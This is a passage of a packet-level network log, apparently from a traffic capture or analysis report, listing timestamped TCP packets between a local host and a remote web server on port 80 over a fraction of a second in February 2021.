Feb 20, 2021 02:03:51.530426025 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530427933 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530451059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530474901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530493975 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530495882 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530519962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530539036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530543089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530565977 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530572891 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530590057 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530600071 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530623913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530627012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530639887 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530648947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530672073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530694008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530697107 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530731916 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530745029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530756950 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530778885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530795097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530807018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530826092 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530842066 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530849934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530879021 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530889034 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530894041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530915976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530940056 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530946970 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530966997 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.530985117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.530994892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531008005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531030893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531032085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531052113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531056881 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531080008 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531080008 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531097889 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531127930 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531128883 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531166077 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531176090 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531191111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531213045 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531213999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531241894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531265020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531301022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531343937 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531349897 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531380892 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531390905 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531407118 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531429052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531430960 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531452894 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531455994 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531477928 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531481028 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531505108 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531507969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531528950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531534910 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531549931 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531562090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531582117 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531608105 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531610012 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531631947 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531655073 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531656027 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531673908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531693935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531702995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531723022 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531740904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531757116 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531769037 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531786919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531802893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531810999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531831980 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531835079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531853914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531860113 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531881094 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531888962 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531903982 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531915903 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531938076 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531939983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531965017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.531965971 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.531980991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.532011986 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.532042980 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.532067060 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.532090902 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.532094002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.532111883 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.532136917 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.532159090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.532190084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.532210112 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.532236099 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.532241106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.532275915 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.532284975 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.532299042 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.532325029 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.532329082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.532350063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.532356024 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.532380104 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.532399893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.551901102 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.551938057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.551992893 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.552020073 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.552051067 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.552058935 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.552078009 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.552082062 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.552084923 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.552098036 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.563875914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.563924074 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.563970089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.563999891 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.564058065 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.564100981 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.564115047 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.564151049 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.564270020 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.564321995 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.564337969 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.564390898 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.564450979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.564497948 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.564518929 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.564568043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.564574003 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.564609051 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.564620972 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.564641953 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.564652920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.564682007 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.566349983 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.566407919 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.566425085 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.566469908 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.566469908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.566517115 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.566534996 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.566584110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.566592932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.566638947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.566762924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.566806078 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.566816092 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.566844940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.566879988 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.566890955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.566941977 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.566983938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.566997051 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.567018032 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.567033052 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.567065001 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.567130089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.567168951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.567181110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.567209005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.567214966 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.567255020 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.570317984 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.570395947 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.570406914 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.570471048 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.570472002 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.570525885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.570537090 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.570574999 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.570586920 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.570624113 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.570647001 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.570687056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.570703983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.570732117 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.570736885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.570769072 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.570777893 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.570816994 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.570832968 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.570882082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.571005106 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.571064949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.573622942 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.573693991 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.573715925 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.573760033 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.573769093 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.573811054 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.573817968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.573862076 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.573863983 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.573925018 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.575638056 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.575690985 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.575707912 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.575732946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.575747967 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.575783968 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.578545094 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.578628063 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.578640938 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.578694105 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.581043005 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.581083059 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.581115961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.581141949 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.581497908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.581547976 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.581563950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.581604958 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.581619978 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.581661940 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.581676960 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.581698895 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.581716061 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.581737041 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.581749916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.581787109 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.581790924 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.581845999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.584979057 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.585052013 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.585144043 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.585192919 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.585205078 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.585244894 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.585258961 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.585295916 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.585887909 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.585927010 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.585953951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.585967064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.585974932 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.586033106 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.586046934 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.586088896 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.586107969 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.586126089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.586143017 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.586177111 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.586184025 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.586239100 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.589366913 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.589437962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.589531898 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.589572906 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.589591026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.589608908 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.589627981 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.589667082 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.589672089 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.589724064 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.589864016 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.589920044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.590082884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590125084 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590148926 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.590162992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.590169907 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590230942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.590259075 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590306044 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590320110 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.590362072 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.590414047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590465069 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590482950 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.590518951 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.590533972 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590593100 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590596914 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.590653896 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.590655088 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590715885 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.590735912 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590797901 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.590799093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590869904 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.590907097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590976000 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.590976954 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591041088 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591046095 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591124058 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591130018 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591175079 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591195107 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591223955 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591252089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591290951 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591317892 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591352940 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591357946 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591396093 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591424942 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591438055 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591458082 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591481924 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591500044 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591531992 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591550112 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591608047 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591614962 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591674089 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591675043 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591715097 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591747999 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591758013 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591768026 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591814041 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591834068 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591873884 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591898918 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591909885 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591922998 CET	49165	80	192.168.2.22	185.81.0.78
Feb 20, 2021 02:03:51.591943979 CET	80	49165	185.81.0.78	192.168.2.22
Feb 20, 2021 02:03:51.591958046 CET	49165	80	192.168.2.22	185.81.0.78
